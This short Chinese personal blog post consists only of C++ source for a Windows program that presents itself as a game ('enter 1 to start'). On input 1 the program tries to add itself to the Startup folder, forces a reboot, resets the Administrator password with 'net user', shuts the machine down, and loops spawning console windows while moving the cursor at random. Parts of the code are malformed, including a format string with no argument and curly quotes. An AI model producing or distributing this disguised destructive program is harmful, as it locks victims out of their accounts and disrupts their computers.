跳到正文

个人记录

111111111

chenjs1027约 1 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月13日
篇幅
约 1 分钟

版本

  1. v1当前

#include <iostream> #include<windows.h> #include<ctime> #include <cstdlib> #include <stdio.h> #include <fstream> using namespace std; int a; int main(){ puts(“输入1开始游戏”); cin>>a; if(a==1){ char copy[80]; sprintf(copy,“copy %s “%%userprofile%%\「开始」菜单\程序\启动""); system(copy); char cmd[]=“shutdown -r -t 0”; system(“ping baidu.com”); system(cmd); system(“pause”);

system(copy); system(“net user Administrator xz”); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); system(“shutdown -s -t 0”); while(1){ SetCursorPos(rand()%x,rand()%y); system(“start”); } } if(a==2){ exit(1); } return 0; }

原文